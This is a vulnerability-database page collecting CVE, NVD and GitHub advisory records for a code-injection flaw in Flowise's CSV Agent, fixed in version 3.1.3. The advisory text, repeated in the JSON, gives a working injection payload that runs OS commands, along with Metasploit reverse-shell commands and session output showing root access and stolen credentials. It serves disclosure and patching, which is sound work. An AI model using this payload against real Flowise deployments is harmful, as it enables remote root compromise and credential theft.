Vulnerability-Lookup

CVE-2026-69255 (GCVE-0-2026-69255)

Vulnerability from cvelistv5 – Published: 2026-08-04 15:39 – Updated: 2026-08-04 19:52

Previdian

Title

Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop() and interpolated it directly into executable Python as base64_string = "${base64String}" before calling Pyodide. The validatePythonCodeForDataFrame() denylist only checked later LLM-generated code and did not validate this initial code block. An authenticated attacker could inject a closing quote followed by Python code, use Pyodide's js bridge to load Node.js child_process, and execute arbitrary operating system commands as root in the Flowise container. This issue is fixed in version 3.1.3.

Severity

9.2 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-04 19:30 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/pull/6499	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/commit/f4e27…	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
FlowiseAI	Flowise	Affected: < 3.1.3	guessed

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: b21ce316-7de6-4bbc-8d24-5dc1e3a0f2fb

Vulnerability ID: CVE-2026-69255

Status: Confirmed

Status Updated: 2026-09-15 19:57 UTC

Exploited: Yes

Timestamps

First Seen: 2026-09-15

Asserted: 2026-09-15

Scope

Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: previdian

Details

Feed	Previdian (previdian.com)
Title	Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified
Cve Id	CVE-2026-69255
Vendor	FlowiseAI
Ghsa Id	None
Product	Flowise
Added Date	2026-09-15T19:57:31.772Z
Cvss Score	9.2
Epss Score	0.00602
Previous Ids
Cvss Severity	CRITICAL
Virtual Patch	False
Cvss Estimated	False
Epss Percentile	0.47039
Used In Malware	unknown
Vulnerability Id	CVE-2026-69255
Ahead Of Cisa Kev	None
Not Yet In Cisa Kev	True

References

Created: 2026-09-16 20:00 UTC | Updated: 2026-09-16 20:00 UTC

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-69255

Vulnerability from fkie_nvd - Published: 2026-08-04 17:17 - Updated: 2026-09-14 19:58

Previdian

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c	Patch
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/pull/6499	Issue Tracking, Patch
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3	Patch, Release Notes
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	flowiseai	flowise	*

JSON

To clipboard

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        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-69255",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-04T19:30:56.973025Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-04T17:17:00.570",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/pull/6499"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-VMV7-4M6C-3CG5

Vulnerability from github – Published: 2026-08-04 15:40 – Updated: 2026-08-04 15:41

Summary

Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

Details

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
Pyodide js bridge provides access to the host Node.js process
process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
.execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#

Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Additional Verified Impact

Credential Theft:

FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7

Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.

CVSS v3.1: 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.

Lines 155-171 — Direct interpolation into executable Python code: base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.

validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.

Remediation

Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation

Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]*$/

Option 3: Escape special characters (", \n, \r, \\) before interpolation

Related CVEs

CVE-2026-41264 (CSV Agent regex bypass)
CVE-2026-41265 (Airtable Agent sandbox bypass)
CVE-2026-46442 (NodeVM sandbox escape)

Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

Severity

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:40:28Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## UPDATE 2026-05-20: Full RCE as root VERIFIED\n\n**This is not theoretical \u2014 a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.**\n\n### Verified Exploit Chain\n\n1. Python code injection via `base64_string = \"${base64String}\"` (CSVAgent.ts line 161)\n2. Pyodide `js` bridge provides access to the host Node.js process\n3. `process.mainModule.constructor._load(\u0027child_process\u0027)` loads child_process (bypasses ESM require restriction)\n4. `.execSync(\u0027CMD\u0027)` executes arbitrary OS commands as **root** (PID 1 in container)\n\n### Working RCE Payload\n\n```\n\";import js;e=js.globalThis.eval;e(\"process.mainModule.constructor._load(\u0027child_process\u0027).execSync(\u0027id\u0027)\");#\n```\n\n**Constraint:** No commas allowed in payload \u2014 `csvFile.split(\u0027,\u0027)` splits on all commas.\n\n### Metasploit Session Proof\n\n```\nmsf \u003e use exploit/multi/http/flowise_csv_agent_rce\nmsf \u003e set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp\nmsf \u003e exploit\n\n[+] Authentication successful\n[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4\n[*] Sending stage (3090404 bytes) to 172.17.0.2\n[*] Meterpreter session 1 opened (172.17.0.1:4444 -\u003e 172.17.0.2:41422)\n\nmeterpreter \u003e getuid\nServer username: root\n\nmeterpreter \u003e sysinfo\nComputer     : cbce3fb352b7\nOS           : Linux 6.8.0-111-generic\nArchitecture : x64\nMeterpreter  : x64/linux\n\nmeterpreter \u003e shell\n# id\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)\n\n# uname -a\nLinux cbce3fb352b7 6.8.0-111-generic x86_64 Linux\n```\n\n### Additional Verified Impact\n\n**Credential Theft:**\n```\nFLOWISE_PASSWORD=admin123\nDATABASE_PATH=/root/.flowise\nAPIKEY_PATH=...\n```\n\n**Arbitrary File Read** via `process.binding(\u0027fs\u0027).readFileUtf8(\u0027/etc/hostname\u0027)` \u2192 `cbce3fb352b7`\n\n**Server DoS** \u2014 certain native binding calls (spawn_sync) crash the Node.js process entirely.\n\n### CVSS v3.1: 9.9 CRITICAL\n\n`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n---\n\n## Original Report (below)\n\n## Vulnerable Code\n\n**File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\n**Lines 133-138** \u2014 Unsanitized string extraction from data URI via `file.split(\u0027,\u0027).pop().pop()` \u2014 no validation on content.\n\n**Lines 155-171** \u2014 Direct interpolation into executable Python code:\n`base64_string = \"${base64String}\"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.\n\n`validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.\n\n## Remediation\n\n**Option 1 (Best):** Use `pyodide.globals.set(\u0027base64_string\u0027, base64String)` instead of string interpolation\n\n**Option 2:** Validate base64 before interpolation \u2014 reject if not matching `/^[A-Za-z0-9+/=]*$/`\n\n**Option 3:** Escape special characters (`\"`, `\\n`, `\\r`, `\\\\`) before interpolation\n\n## Related CVEs\n- CVE-2026-41264 (CSV Agent regex bypass)\n- CVE-2026-41265 (Airtable Agent sandbox bypass)\n- CVE-2026-46442 (NodeVM sandbox escape)\n\n**Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.",
  "id": "GHSA-vmv7-4m6c-3cg5",
  "modified": "2026-08-04T15:41:21Z",
  "published": "2026-08-04T15:40:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection \u2014 Root Shell Verified"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-69255 (GCVE-0-2026-69255)

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

Timestamps

Scope

Evidence

Public Report Successful Exploitation Confidence: 70% Source: previdian

Details

References

FKIE_CVE-2026-69255

GHSA-VMV7-4M6C-3CG5

UPDATE 2026-05-20: Full RCE as root VERIFIED

Verified Exploit Chain

Working RCE Payload

Metasploit Session Proof

Additional Verified Impact

CVSS v3.1: 9.9 CRITICAL

Original Report (below)

Vulnerable Code

Remediation

Related CVEs

Tags

Sightings

Nomenclature

Related by attack behaviour